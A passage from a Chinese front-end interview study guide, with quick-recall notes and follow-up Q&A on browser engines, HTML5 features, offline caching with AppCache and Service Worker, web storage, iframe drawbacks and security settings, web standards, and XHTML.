  4. 文本格式化:使用合适的标签和属性来标记文本的格式和语义。例如,使用<strong>标签表示重要文本,<em>标签表示强调文本,<blockquote>标签表示引用文本等。
  5. 无障碍支持:考虑到残障用户的需求,使用语义化的标签和属性可以提高页面的可访问性。例如,为表格添加适当的表头和描述信息,为表单元素关联标签等。
  6. CSS选择器的语义化:在编写CSS样式时,尽量使用具有语义的类名和ID,避免过于依赖元素标签选择器,以增强样式的可读性和可维护性。

通过遵循语义化的原则,我们能够构建出更具有可读性、可访问性和可维护性的前端代码,提高用户体验和开发效率。同时,也能够使网页在不同的环境和设备上保持一致的表现,增强网站的可持续性和可扩展性。

总结

  • 用正确的标签做正确的事情!
  • HTML语义化就是让页面的内容结构化,便于对浏览器、搜索引擎解析;
  • 在没有样式CSS情况下也以一种文档格式显示,并且是容易阅读的。
  • 搜索引擎的爬虫依赖于标记来确定上下文和各个关键字的权重,利于 SEO。
  • 使阅读源代码的人对网站更容易将网站分块,便于阅读维护理解

💬 面试官追问

  • 用 div 加 onClick 做了个按钮,鼠标点没问题,有什么隐患?

    键盘用户 Tab 不到它,回车和空格也触发不了,读屏器不知道这是按钮。要补 tabindex="0"、role="button"、键盘事件一大堆,直接换成 <button> 全都有了。

  • 表单里输入框旁边有文字「手机号」,读屏器却只念「编辑框」,为什么?

    文字和输入框没关联上,读屏器不知道它俩是一组。用 <label for="phone"> 对应 id="phone",或者直接把 input 包进 label 里。只写 placeholder 不算,输入后它就没了。

  • section 和 div 怎么选?

    看这块内容有没有自己的标题、能不能算文档的一个章节。有就用 section 并配一个 h2 之类的标题;只是为了加背景色或做栅格,就用 div。

  • b 和 strong、i 和 em 有区别吗?

    有。strong 表示内容重要,em 表示语气强调,读屏器可能会改变语调;b 和 i 只是在视觉上区分,比如关键词、术语、外文。只想要加粗样式,用 CSS 的 font-weight 就行。

  • 把页面的 div 全换成语义标签,搜索排名就会上去吗?

    别指望。语义化能让搜索引擎更准地识别正文和结构,但排名主要还是看内容质量和相关性。语义化真正稳赚的是无障碍和可维护性。

# 8 介绍一下你对浏览器内核的理解?

⚡ 30 秒速记

  • 内核 = 渲染引擎 + JS 引擎;现在一般说内核指的就是渲染引擎
  • 现存三家:Blink(Chrome / Edge / Opera / 大部分国产浏览器)、WebKit(Safari)、Gecko(Firefox)
  • 对应 JS 引擎:V8、JavaScriptCore、SpiderMonkey
  • Blink 是 2013 年从 WebKit 分出来的;Trident(IE)、EdgeHTML(旧 Edge)、Presto(旧 Opera)都已退场
  • iOS 上浏览器都被要求用 WebKit,iOS 版 Chrome 也是套壳 WebKit;iOS 17.4 起欧盟地区才放开其他内核

浏览器内核分两块:渲染引擎负责把 HTML、CSS 变成页面,JS 引擎负责执行脚本,平时说的内核一般指渲染引擎。 现在主流就三家,Chrome 和 Edge 用 Blink,Safari 用 WebKit,Firefox 用 Gecko,对应的 JS 引擎是 V8、JavaScriptCore、SpiderMonkey。对前端最实际的影响是兼容性:iOS 上不管装什么浏览器,底层基本都是 WebKit,所以「Chrome 好好的、iPhone 上坏了」,大概率是 WebKit 的问题,测试时要拿真机 Safari 验。

浏览器内核是浏览器的核心组成部分,主要分为两个部分:渲染引擎(也称为布局引擎或渲染引擎)和 JavaScript 引擎。

  • 渲染引擎:渲染引擎负责解析网页的 HTML、XML、图像等内容,并将其转换为可视化的网页形式展示给用户。它负责处理网页的布局、样式计算、绘制等任务。不同浏览器的内核对网页的解释和渲染方式可能会有差异,因此不同浏览器的渲染效果也会有所不同。常见的渲染引擎包括:
    • WebKit:主要用于 Safari 和 Chrome 浏览器。
    • Gecko:主要用于 Firefox 浏览器。
    • Trident:主要用于旧版本的 Internet Explorer 浏览器。
    • Blink:基于 WebKit,用于 Chrome、Opera 和部分 Chromium 浏览器。
  • JavaScript 引擎:JavaScript 引擎负责解析和执行网页中的 JavaScript 代码,实现网页的动态交互和功能。不同浏览器的 JavaScript 引擎性能和特性也可能存在差异。常见的 JavaScript 引擎包括:
    • V8:用于 Chrome 和 Opera 浏览器,具有高性能和快速执行速度。
    • SpiderMonkey:用于 Firefox 浏览器。
    • JavaScriptCore:用于 Safari 浏览器。
  • 在早期,渲染引擎和 JavaScript 引擎没有明确的分离,它们在同一个内核中工作。随着时间的推移,JavaScript 引擎逐渐独立出来,使内核更专注于页面渲染和布局方面的任务。
  • 理解浏览器内核对于前端开发人员非常重要,因为不同的内核可能会对网页的解释和渲染产生影响,从而影响页面的布局、样式和交互效果。在开发过程中,需要考虑不同浏览器内核的差异,并进行兼容性测试和优化,以确保网页在不同浏览器上都能正确显示和运行。

💬 面试官追问

  • 页面在安卓 Chrome 正常,在 iOS 的 Chrome 上布局错位,为什么?

    iOS 版 Chrome 用的是 WebKit,不是 Blink,表现跟 Safari 基本一致。所以要按 Safari 去查兼容问题,在 caniuse 上看的也是 Safari iOS 那一列。

  • Blink 和 WebKit 是什么关系?

    Blink 是 Google 在 2013 年从 WebKit 分叉出来的,之后各走各的,到现在差异已经很大。所以「都是 WebKit 系」这种说法已经不能当兼容性的依据了。

  • 只有 Firefox 上按钮位置偏了,控制台没有报错,从哪入手?

    先查样式和布局,控制台没报错说明 JS 执行大概率没问题。在 Firefox 的 DevTools 里看那个元素的计算样式和盒模型,再拿 Chrome 对比,常见的是默认样式、flex 或表单控件的差异。

  • 国产浏览器说的「双核」是什么?

    早年是 Chromium 内核加 IE 的 Trident 内核,遇到老网银、政务网站自动切到 IE 模式。IE 停止支持后,这个「兼容模式」基本只剩老系统还在用。

  • 小程序和 App 里的 WebView 用的是什么内核?

    安卓 App 一般用系统的 Android System WebView,基于 Chromium,版本跟着系统更新;iOS 是 WKWebView,也就是 WebKit。有些 App 会内置自己的 X5 之类的内核,排查兼容问题时要先确认 UA 里是哪个。

# 9 html5有哪些新特性、移除了那些元素?

⚡ 30 秒速记

  • 新增分类记:语义标签、多媒体(video / audio)、绘图(canvas)、存储(localStorage / sessionStorage / IndexedDB)、通信(WebSocket / postMessage)、新表单类型、Web Worker、History API
  • 移除的:纯表现元素 font / center / big / basefont / strike / tt,以及 frame / frameset / noframes、acronym、applet
  • 易错:b / i / s / u 没删,HTML5 给它们重新定义了语义
  • HTML5 的 DOCTYPE 只有一行 <!DOCTYPE html>;它也不再是 SGML 的子集
  • 过时内容:AppCache(manifest 属性)已从标准移除,离线用 Service Worker

HTML5 主要补了三类东西:语义化标签、原生多媒体和绘图、一大批浏览器 API,同时把纯表现类标签和 frame 系列去掉了。 新增的有 header、nav、article 这些结构标签,video、audio、canvas,localStorage、WebSocket、Web Worker、History API,还有 date、email 这种表单类型。删掉 font、center 是因为样式应该交给 CSS。有个常见误区是以为 b、i、u 也被删了,其实它们留下来了,只是被赋予了新语义。还有 AppCache 当年算新特性,现在已经被移出标准了。

  • HTML5 现在已经不是 SGML 的子集,主要是关于图像,位置,存储,多任务等功能的增加
    • 新增选择器 document.querySelector、document.querySelectorAll
    • 拖拽释放(Drag and drop) API
    • 媒体播放的 video 和 audio
    • 本地存储 localStorage 和 sessionStorage
    • 离线应用 manifest
    • 桌面通知 Notifications
    • 语意化标签 article、footer、header、nav、section
    • 增强表单控件 calendar、date、time、email、url、search
    • 地理位置 Geolocation
    • 多任务 webworker
    • 全双工通信协议 websocket
    • 历史管理 history
    • 跨域资源共享(CORS) Access-Control-Allow-Origin
    • 页面可见性改变事件 visibilitychange
    • 跨窗口通信 PostMessage
    • Form Data 对象
    • 绘画 canvas
  • 移除的元素:
    • 纯表现的元素:basefont、big、center、font、 s、strike、tt、u
    • 对可用性产生负面影响的元素:frame、frameset、noframes
  • 支持HTML5新标签:
    • IE8/IE7/IE6支持通过document.createElement方法产生的标签
    • 可以利用这一特性让这些浏览器支持HTML5新标签
    • 浏览器支持新标签后,还需要添加标签默认的样式
  • 当然也可以直接使用成熟的框架、比如html5shim

如何区分 HTML 和 HTML5

  • DOCTYPE声明、新增的结构元素、功能元素

💬 面试官追问

  • HTML5 里 b 和 i 被废弃了吗?

    没有。b 表示需要引起注意但不代表更重要的文字,比如关键词;i 表示另一种语气的文字,比如术语、外文。s 和 u 也保留了,只有 strike、big、font 这类纯样式标签被移除了。

  • canvas 画了一个复杂图表,滚动的时候输入框也卡,换成 Web Worker 有用吗?

    有用,但不能直接在 Worker 里操作页面上的 canvas。可以用 canvas.transferControlToOffscreen() 把绘制交给 Worker 里的 OffscreenCanvas,主线程只管交互,输入框就不卡了。

  • <input type="date"> 在不同手机上长得完全不一样,正常吗?

    正常,原生表单控件的样式由浏览器和系统决定,规范只管行为。要统一外观就用组件库的日期选择器,代价是自己处理可访问性和键盘操作。

  • History API 解决了什么问题?

    以前单页应用只能用 #hash 改地址,有了 pushState / replaceState 能改成正常路径而不刷新页面,配合 popstate 监听前进后退。代价是服务端要把这些路径都兜底返回 index.html,不然刷新就 404。

  • 离线看板要缓存几万条数据,localStorage 够不够?

    不够。localStorage 一般只有 5MB 左右,而且是同步读写,数据大了会卡主线程。结构化的大量数据用 IndexedDB,异步、容量大,还能建索引。

# 10 HTML5的离线储存怎么使用,工作原理能不能解释一下?

⚡ 30 秒速记

  • 先表态:AppCache(<html manifest="xxx.appcache">)已经从标准移除,Chrome 85、Firefox 84 起彻底不能用
  • 当年用法:清单分 CACHE(离线缓存)、NETWORK(必须联网)、FALLBACK(失败兜底页)三段
  • 被废弃的原因:只认清单文件本身有没有变、一个文件下载失败整次更新作废、用了 manifest 的页面自己也被强制缓存
  • 今天的方案:Service Worker + Cache API,拦截 fetch,用 JS 决定走缓存还是走网络
  • 常用策略:静态资源 cache-first、接口 network-first、不太敏感的内容 stale-while-revalidate

HTML5 离线存储说的是 AppCache,它已经被移出标准、主流浏览器都下线了,现在做离线要用 Service Worker 加 Cache API。 当年的用法是在 html 标签上写 manifest 属性指向一个清单文件,浏览器按清单把资源存下来,离线时直接用本地副本。问题是它太死板,改了 JS 不改清单就永远拿不到新版本,出了问题也没法用代码干预。Service Worker 是一个能拦截页面请求的后台脚本,缓存什么、什么时候更新全由你写的 JS 决定,这才是现在的正确答案。

内容已过时

下面描述的 AppCache(manifest + .appcache)已从 HTML 标准中移除,Chrome 85+、Firefox 84+ 均已彻底下线,新项目一律用 Service Worker + Cache API。保留这段是因为面试官偶尔仍会问"HTML5 离线存储",答题时要主动点出它已废弃并给出替代方案 —— 这恰恰是加分点。

  • 在用户没有与因特网连接时,可以正常访问站点或应用,在用户与因特网连接时,更新用户机器上的缓存文件
  • 原理:HTML5的离线存储是基于一个新建的.appcache文件的缓存机制(不是存储技术),通过这个文件上的解析清单离线存储资源,这些资源就会像cookie一样被存储了下来。之后当网络在处于离线状态下时,浏览器会通过被离线存储的数据进行页面展示
  • 如何使用:
    • 页面头部像下面一样加入一个manifest的属性;
    • 在cache.manifest文件的编写离线存储的资源
    • 在离线状态时,操作window.applicationCache进行需求实现
CACHE MANIFEST
#v0.11
CACHE:
js/app.js
css/style.css
NETWORK:
resourse/logo.png
FALLBACK:
/offline.html

💬 面试官追问

  • 老项目里还有 manifest="cache.appcache",留着有影响吗?

    现代浏览器直接忽略它,等于没写,离线能力其实早就没了。建议删掉,并检查有没有代码还在调 window.applicationCache,现在它是 undefined,调了会报错。

  • 巡检页面要求断网也能打开,用 Service Worker 怎么做?

    在 install 事件里把页面外壳、核心 JS / CSS 和一个离线提示页写进 Cache,fetch 事件里先走网络,失败就从缓存取,取不到就返回离线页。注意 Service Worker 只能在 HTTPS 或 localhost 下注册。

  • 断网时还要能编辑记录,联网后自动提交,只有 Cache API 够吗?

    不够,Cache API 存的是请求和响应,业务数据要放 IndexedDB。联网后的提交可以用 Background Sync,但它目前只有 Chromium 系支持,Safari 上要在页面里监听 online 事件自己补发。

  • 发版后用户还是看到旧页面,强刷才好,可能是什么原因?

    多半是 Service Worker 对 HTML 用了 cache-first,新的 SW 也装好了,但还在 waiting,要等所有标签页关闭才激活。HTML 改成 network-first,新版激活时提示用户刷新,或者 skipWaiting() 配 clients.claim() 让它立即接管。

  • 新闻站所有内容都用缓存优先,秒开是秒开了,有什么问题?

    用户会一直看到旧稿件。正文这种时效性强的用 network-first 或 stale-while-revalidate,先给缓存再后台拉新;带 hash 的静态资源才适合放心 cache-first。

# 11 浏览器是怎么对HTML5的离线储存资源进行管理和加载的呢

⚡ 30 秒速记

  • AppCache 的流程:首次访问按清单下载并缓存 → 之后每次先用缓存渲染 → 后台再请求清单比对
  • 只比对清单文件的字节,清单没变就什么都不做;所以改了 JS 必须改清单,通常改注释里的版本号
  • 清单变了会重新下载全部资源,下载完触发 updateready,但本次页面还是旧的,要 swapCache() 加刷新或等下次访问
  • 清单返回 404 / 410 时整个缓存被删除;任何一个资源下载失败,整次更新作废
  • Service Worker 的对应物:install 预缓存、activate 清理旧缓存、fetch 按策略返回;AppCache 已从标准移除

AppCache 的管理方式可以概括成「先用缓存,再后台检查清单」:在线时也是先拿本地副本渲染,然后去比对清单文件变没变。 清单字节没变,浏览器什么都不做;变了就把清单里的资源全部重新下载,下完触发 updateready,但用户当前看到的仍然是旧版本,要调 swapCache() 再刷新才生效。离线时直接用缓存。这套机制最大的坑就是只认清单:改了 app.js 忘了改清单,用户永远拿不到新代码。所以它被淘汰了,现在用 Service Worker,更新逻辑自己写。

时序图 · 3 个参与者 / 11 步
alt 清单字节没变清单返回 404 或 410清单变了alt 有一个资源下载失败全部下载成功页面页面浏览器离线缓存浏览器离线缓存服务器服务器打开页面1先用缓存里的旧资源渲染2后台请求 manifest 清单3返回相同内容或 3044什么都不做清单已删除5整个离线缓存作废6返回新清单7重新下载清单里的全部资源8下载失败,整次更新作废9触发 updateready10swapCache 后刷新才用上新版11
  • 在线的情况下,浏览器发现html头部有manifest属性,它会请求manifest文件,如果是第一次访问app,那么浏览器就会根据manifest文件的内容下载相应的资源并且进行离线存储。如果已经访问过app并且资源已经离线存储了,那么浏览器就会使用离线的资源加载页面,然后浏览器会对比新的manifest文件与旧的manifest文件,如果文件没有发生改变,就不做任何操作,如果文件改变了,那么就会重新下载文件中的资源并进行离线存储。
  • 离线的情况下,浏览器就直接使用离线存储的资源。

💬 面试官追问

  • 改了 app.js 发版,用了 AppCache 的用户还是旧代码,为什么?

    浏览器只比对清单文件本身,清单字节没变就认为没有更新。当年的惯例是在清单里放一行 # v1.0.3 的注释,每次发版改版本号,强制触发更新。

  • 清单变了,为什么用户还要刷新第二次才看到新版本?

    因为页面已经先用旧缓存渲染完了,新资源是在后台下载的。下载完触发 updateready 事件,要么调 applicationCache.swapCache() 再 location.reload(),要么等用户下次打开。

  • Service Worker 是怎么发现自己要更新的?

    每次导航到它控制的页面,浏览器会去检查 sw.js,字节有任何变化就安装新版本,而且这个检查默认绕过 HTTP 缓存。新版本装好后进入 waiting,等旧版本控制的页面都关了才激活。

  • Service Worker 换了新缓存版本,旧缓存会自动删吗?

    不会,要在 activate 事件里自己删:caches.keys() 拿到所有缓存名,把不是当前版本的 caches.delete() 掉。不删的话旧缓存会一直占着存储空间。

  • 清单里有一个图片地址写错了,会怎样?

    AppCache 整次更新失败,所有资源都回退到旧缓存,什么都不更新。这也是它被骂的原因之一,一个小错误拖垮整站更新,Service Worker 里你可以对单个资源失败做容错。

# 12 请描述一下 cookies,sessionStorage 和 localStorage 的区别?

⚡ 30 秒速记

  • 设计意图不同:cookie 是给服务端看的,每次请求自动带上,所以要小;Web Storage 只给前端用,不上传
  • 容量:单个 cookie 约 4KB;localStorage / sessionStorage 每个源一般 5MB 左右
  • 生命周期:cookie 看 Expires / Max-Age,不设就是会话 cookie;sessionStorage 跟着标签页,刷新还在、关掉就清;localStorage 不删就一直在
  • 作用域:cookie 按 Domain / Path,能跨子域共享;localStorage 按源(协议 + 域名 + 端口);sessionStorage 同源的另一个标签页也读不到
  • 安全:cookie 能设 HttpOnly、Secure、SameSite;Web Storage 任何 JS 都能读,XSS 一来全泄露
  • 数据多、结构复杂用 IndexedDB:异步、容量大、能建索引

三者最本质的区别是 cookie 会随每个请求自动发给服务端,而 localStorage 和 sessionStorage 只在浏览器本地,不会自动上传。 因为每次都要带上,cookie 只有 4KB 左右,存多了所有请求都变重;另外两个有 5MB 左右。生命周期上,sessionStorage 跟着标签页走,刷新还在、关掉就没;localStorage 不手动删就一直在。选型上我一般是:登录凭证放 HttpOnly 的 cookie,JS 读不到,防 XSS 偷;多步表单草稿放 sessionStorage;主题、语言这种偏好放 localStorage。

cookies、sessionStorage 和 localStorage 都是在 Web 开发中用于在客户端存储数据的技术,但它们在以下方面存在区别:

存储容量

  • cookies:通常存储容量较小,一般限制在4KB左右。
  • sessionStorage:存储容量比 cookies 大,不同浏览器的限制有所不同,但一般可以存储5MB或更多的数据。
  • localStorage:存储容量也较大,通常和 sessionStorage 相近,能满足大多数 Web 应用的存储需求。

数据有效期

  • cookies:可以设置过期时间,若不设置,默认在浏览器关闭时失效。如果设置了过期时间,那么在过期时间之前,cookies 会一直存在于客户端,即使浏览器关闭后重新打开也依然有效。
  • sessionStorage:数据仅在当前会话期间有效,当浏览器窗口关闭时,sessionStorage 中的数据会被自动清除。
  • localStorage:数据没有自动过期时间,除非主动删除,否则数据会一直保存在客户端,即使浏览器关闭、电脑重启,数据依然存在。

作用域

  • cookies:在同域名下的不同页面之间可以共享,但如果设置了 Path 属性,那么只有在指定路径下的页面才能访问该 cookie。此外,cookies 还可以通过设置 Domain 属性在不同子域名之间共享。
  • sessionStorage:具有严格的页面级作用域,即只有在同一个浏览器窗口(或标签页)中打开的页面才能共享 sessionStorage 中的数据。不同浏览器窗口或标签页之间无法访问彼此的 sessionStorage 数据,即使它们来自同一个域名。
  • localStorage:在同域名下的所有页面都可以共享 localStorage 中的数据,只要是在同一个浏览器中访问该域名,无论在哪个页面存储的数据,其他页面都可以读取和修改。

与服务器的交互

  • cookies:每次向服务器发送请求时,浏览器会自动将同域名下的 cookies 发送到服务器,这可能会增加不必要的网络传输开销,尤其是当 cookies 数据量较大时。
  • sessionStorage 和 localStorage:数据仅存储在客户端,不会自动发送到服务器。如果需要与服务器进行数据交互,需要通过 Ajax 等方式手动将数据发送到服务器。

应用场景

  • cookies:常用于存储用户登录状态、购物车信息、用户偏好设置等。由于其会在每次请求时发送到服务器,所以也可以用于在客户端和服务器之间传递一些少量的必要信息。
  • sessionStorage:适合存储一些临时数据,例如在一个多步骤的表单填写过程中,存储用户在当前页面填写的数据,当用户完成整个流程或关闭页面时,这些数据就不再需要了。
  • localStorage:用于长期存储用户相关的数据,如用户的配置信息、离线缓存数据等。例如,一个 Web 应用可以将一些常用的静态资源存储在 localStorage 中,以便在离线状态下仍然能够访问应用的部分功能。

💬 面试官追问

  • 登录 token 放 localStorage 还是 cookie?

    我倾向放 HttpOnly + Secure + SameSite=Lax 的 cookie,页面上的 JS 读不到,XSS 偷不走。放 localStorage 的话任何注入脚本一行 localStorage.getItem 就拿走了。cookie 方案要额外防 CSRF,SameSite 加 CSRF token 基本能解决。

  • 在 a.example.com 存了 localStorage,b.example.com 能读到吗?

    读不到,localStorage 按源隔离,子域名不同就是不同的源,连 http 和 https 都不互通。要跨子域共享,可以用 Domain=.example.com 的 cookie,或者交给服务端存。

  • 同一个页面开了两个标签页,sessionStorage 是共享的吗?

    不共享,每个标签页一份。有个细节是「复制标签页」会把当前的 sessionStorage 拷一份给新标签,之后各改各的,互不影响。

  • 购物车 JSON 存在 cookie 里有什么问题?

    每个请求都会带上,连图片、CSS 请求也带,白白浪费带宽,而且单个 cookie 超过 4KB 会被浏览器丢掉。放 localStorage 或者服务端,cookie 只放会话 ID。

  • 两个标签页想同步筛选条件,怎么知道另一个页面改了 localStorage?

    监听 window 的 storage 事件,其他同源标签页修改 localStorage 时会触发,当前页自己改不会触发。需要更灵活的跨页通信可以用 BroadcastChannel。

# 13 iframe有那些缺点?

⚡ 30 秒速记

  • 阻塞父页面的 load 事件:iframe 没加载完,父页面 onload 就不触发
  • 不利于 SEO:iframe 里的内容一般算到被嵌页面头上,不算当前页面
  • HTTP/1.1 下和父页面抢同域的并发连接(每个域名约 6 个);HTTP/2 下这个问题小很多
  • 每个 iframe 都是一整个文档环境,内存开销大;移动端尺寸自适应、滚动也难处理
  • 现代缓解:loading="lazy" 延迟加载、sandbox 限制权限、postMessage 做通信
  • 别一棍子打死:嵌第三方支付、广告、在线编辑器这类需要隔离的场景,iframe 仍然是最稳的方案

iframe 的问题主要是三个:拖慢父页面加载、内容不算当前页的 SEO、每个都是完整的文档环境,开销大。 父页面的 load 事件要等所有 iframe 加载完才触发,依赖 onload 的逻辑会被一个慢的第三方页面拖住。不过它也有不可替代的地方,比如嵌第三方支付或广告,天然隔离样式和脚本,配合 sandbox 还能限制它的权限。所以我的原则是核心内容不进 iframe,非首屏的加 loading="lazy",第三方内容一律加 sandbox。

iframe是一种在网页中嵌入其他网页或文档的标签,虽然它在某些情况下可以提供一些便利,但也存在一些缺点需要考虑:

  • 阻塞主页面的 onload 事件:当页面中存在 iframe 时,iframe 的加载会阻塞主页面的 onload 事件触发。这可能会导致页面加载速度变慢,影响用户体验。
  • 不利于 SEO:搜索引擎的爬虫程序通常不能很好地解读 iframe 内部的内容。因此,如果重要的页面内容被放置在 iframe 中,搜索引擎可能无法正确地索引和收录这些内容,从而影响网页的搜索引擎优化(SEO)。
  • 连接限制和并行加载:iframe 和主页面共享连接池,而大多数浏览器对相同域的连接数有限制。这意味着当页面中包含多个 iframe 时,浏览器需要同时处理这些连接,可能会影响页面的并行加载能力,导致页面加载速度变慢。

为了避免以上问题,可以考虑以下解决方案:

  • 尽量避免使用 iframe,特别是在主要内容部分。
  • 如果必须使用 iframe,可以通过 JavaScript 动态地给 iframe 添加 src 属性值,而不是在静态 HTML 中指定。这样可以绕开阻塞主页面的 onload 事件。 对于需要被搜索引擎索引的重要内容,避免将其放置在 iframe 中。
  • 考虑使用其他替代方案,如 AJAX 加载内容或使用现代的前端框架来实现类似的效果。
  • 总之,iframe 在某些场景下可以提供方便,但在使用时需要注意其缺点,并根据具体情况进行权衡和选择。

💬 面试官追问

  • 首页嵌了一个客服 iframe,加载动画挂在 window.onload 里迟迟关不掉,怎么改?

    加载动画改成在 DOMContentLoaded 或者首屏数据回来后关,别等 load。客服 iframe 加 loading="lazy",或者首屏渲染完再用 JS 设置 src,就不会拖住父页面了。

  • 父页面和跨域 iframe 怎么通信?

    用 postMessage。发送时第二个参数写明目标源,别写 '*';接收方在 message 事件里一定要校验 event.origin,不然任何页面都能给你发消息。

  • 怎么防止自己的页面被别人用 iframe 嵌进去做点击劫持?

    服务端返回 Content-Security-Policy: frame-ancestors 'self',老浏览器再加 X-Frame-Options: SAMEORIGIN。前端用 JS 判断 top !== self 再跳出的做法很容易被绕过。

  • 嵌入第三方广告,sandbox 怎么配?

    先写空的 sandbox 全部禁掉,再按需放开,比如 allow-scripts allow-popups。注意别同时给 allow-scripts 和 allow-same-origin 给同源内容,那样它能自己把 sandbox 属性删掉,等于没加。

  • 后台把十几个报表都放进 iframe,页面很卡,怎么优化?

    只渲染当前可见的那个,切换标签时再创建,或者用 loading="lazy"。每个 iframe 都是独立的文档和 JS 环境,十几个同时在内存里,卡是必然的;长远看把报表改成组件直接渲染。

# 14 WEB标准以及W3C标准是什么?

⚡ 30 秒速记

  • Web 标准不是一个标准,是一组:结构 HTML、表现 CSS、行为 JavaScript / DOM,核心思想是三者分离
  • 谁定的:HTML 和 DOM 现在以 WHATWG 的 Living Standard 为准(2019 年 W3C 和 WHATWG 达成协议);CSS、无障碍 WCAG 归 W3C;JS 语言归 ECMA 的 TC39
  • 落到编码:标签正确闭合和嵌套、语义化、样式和脚本外链、遵守无障碍规范
  • 收益:跨浏览器行为一致、好维护、对 SEO 和读屏器友好
  • 「Chrome 能显示」不等于符合标准,HTML 解析器容错很强,会把很多错误悄悄修好

Web 标准是一组让网页在不同浏览器里表现一致的规范,核心思想是结构、表现、行为分离,分别对应 HTML、CSS、JavaScript。 制定方也要说准:CSS 和无障碍规范归 W3C,JavaScript 语言本身归 ECMA 的 TC39,HTML 现在以 WHATWG 维护的 Living Standard 为准,2019 年 W3C 已经同意以它为准。落到写代码上就是标签闭合、正确嵌套、语义化、样式脚本外链。浏览器容错很强,写错也能显示,所以别拿「能显示」当符合标准的依据。

WEB标准是指由万维网联盟(World Wide Web Consortium,简称W3C)制定的一系列技术规范和指南,旨在确保网页在不同的浏览器和设备上具有一致的表现和行为。这些标准涵盖了HTML、CSS、JavaScript等前端技术,并规定了它们的语法、结构、样式以及交互行为等方面的规范。

W3C标准是由W3C组织制定和推广的一系列技术标准,旨在推动网络技术的发展和互操作性。W3C是一个国际性的标准化组织,由互联网行业的各大公司、研究机构和个人组成,致力于制定并推广互联网的开放标准。W3C标准包括HTML、CSS、XML、DOM、SVG等多个技术领域,并且不断更新和演进,以适应新的需求和技术发展。

具体来说,WEB标准和W3C标准强调以下几个方面:

  • 标签闭合:HTML标签必须按照规定的格式正确闭合,以确保页面结构的准确性和一致性。
  • 标签小写:HTML标签和属性应该使用小写字母,以避免浏览器解析错误。
  • 不乱嵌套:HTML标签应该按照正确的嵌套规则进行使用,不应该出现乱七八糟的嵌套结构,以确保页面结构的清晰和可维护性。
  • 使用外链CSS和JS:将CSS样式和JavaScript代码尽可能地放在外部文件中,并通过链接的方式引入,以实现结构、行为和表现的分离,提高代码的可重用性和可维护性。

通过遵循这些标准和规范,开发人员可以编写出更加规范、可靠和跨平台的网页,确保网页在不同的浏览器和设备上得到一致的显示和行为,提供更好的用户体验。此外,遵循WEB标准和W3C标准还有助于网页的可访问性、可维护性和可扩展性,同时推动互联网技术的进步和发展。

💬 面试官追问

  • HTML 标准现在到底是 W3C 定还是 WHATWG 定?

    以 WHATWG 为准。2019 年两家签了协议,HTML 和 DOM 由 WHATWG 维护 Living Standard,持续更新不再发版本号,W3C 不再单独出 HTML 版本。所以严格说已经没有 HTML6 这种东西了。

  • 模板里有个 p 套 div,页面看着正常,JS 却选不到元素,为什么?

    p 里不允许放 div,解析器遇到 <div> 会自动把 p 闭合掉,实际 DOM 和源码长得不一样,选择器自然对不上。去 Elements 面板看真实 DOM,或者用 W3C Validator 跑一下就能发现。

  • 为什么要求 CSS 和 JS 外链,而不是全写在 HTML 里?

    外链文件能被浏览器缓存、多个页面复用,改样式不用碰结构。也不是绝对,首屏关键 CSS 内联反而能加快首屏渲染,这是性能上的刻意取舍。

  • 一个新的 CSS 特性只有提案阶段,能在项目里用吗?

    看它在规范里的状态和 caniuse 的支持率。提案阶段可能还会改语法,生产环境要么等稳定,要么用 @supports 做渐进增强,不支持的浏览器有正常降级。

  • JavaScript 的新语法是谁定的,怎么知道什么时候能用?

    TC39 定,提案分 Stage 0 到 Stage 4,进 Stage 4 就会写进当年的 ECMAScript 版本。Stage 3 时浏览器一般开始实现,项目里能不能用看目标浏览器支持,或者交给 Babel 转译。

# 15 xhtml和html有什么区别?

⚡ 30 秒速记

  • XHTML = 用 XML 语法写的 HTML,规则严格:必须闭合、标签小写、属性值加引号、只有一个根元素
  • 关键看 MIME 类型:用 application/xhtml+xml 发,浏览器按 XML 解析,一处错误整页报错;用 text/html 发,浏览器还是当普通 HTML 宽松解析
  • HTML5 的解析器有完整的容错规则,写错也能出页面
  • 历史:2009 年 W3C 停了 XHTML 2.0,实践中已被 HTML5 取代;HTML5 也保留了 XML 写法
  • 今天还留着的:闭合、小写、正确嵌套这套习惯成了代码规范,JSX 就要求所有标签闭合

XHTML 就是按 XML 规则写的 HTML,书写要求严格得多:标签必须闭合、名字小写、属性值加引号、只能有一个根元素。 真正决定严不严的其实是服务器发的 MIME 类型:用 application/xhtml+xml 发,浏览器按 XML 解析,漏一个闭合标签整页直接报错;绝大多数站点用 text/html 发,浏览器还是当普通 HTML 宽松处理,所谓 XHTML 只是写法规范。现在它已经被 HTML5 取代,是道历史题,但那套严格书写的习惯留了下来,JSX 里 <img /> 必须自闭合就是这个路子。

  • 一个是功能上的差别
    • 主要是XHTML可兼容各大浏览器、手机以及PDA,并且浏览器也能快速正确地编译网页
  • 另外是书写习惯的差别
    • XHTML 元素必须被正确地嵌套,闭合,区分大小写,文档必须拥有根元素

补充:XHTML 严不严,看的是 MIME 类型

很多资料只说「XHTML 要求更严格」,但没说清这个严格什么时候生效。浏览器决定用哪个解析器,看的是响应头 Content-Type,不是 DOCTYPE:

  • Content-Type: text/html:用 HTML 解析器,宽松容错。早年绝大多数「XHTML 网站」其实都是这样发的,严格只停留在写法层面。
  • Content-Type: application/xhtml+xml:用 XML 解析器,任何语法错误都会让整个页面停止渲染,显示解析错误。

同一段代码在两种模式下的差别:

<p>第一段
<p>第二段
<img src="a.png">

按 text/html 解析,浏览器会自动补上 </p>,img 本来就是空元素,页面正常显示。按 application/xhtml+xml 解析,第一行的 p 没有闭合,直接报错,页面一片空白。

至于上面说的「XHTML 可兼容手机和 PDA」,指的是二十年前的 WAP 时代,部分移动设备只支持 XML 系的标记语言。今天的手机浏览器都完整支持 HTML5,这个理由已经不存在了。W3C 在 2009 年停止了 XHTML 2.0 的工作,转向 HTML5;HTML5 本身也保留了一种 XML 写法,必要时可以用 XML 语法写 HTML5 文档。

💬 面试官追问

  • 把一个 HTML 页面的 DOCTYPE 改成 XHTML 的,浏览器会马上按严格规则解析吗?

    不会。浏览器看的是响应头的 Content-Type,还是 text/html 的话照样按 HTML 宽松解析,DOCTYPE 只影响渲染模式。只有以 application/xhtml+xml 返回时,才会按 XML 严格解析。

  • 以 application/xhtml+xml 返回的页面,有一个标签没闭合会怎样?

    整个页面不渲染,直接显示 XML 解析错误,告诉你第几行出错。这是 XML 的规则,不容错,这也是当年 XHTML 推不动的原因之一。

  • HTML5 里写 <br> 和 <br /> 有区别吗?

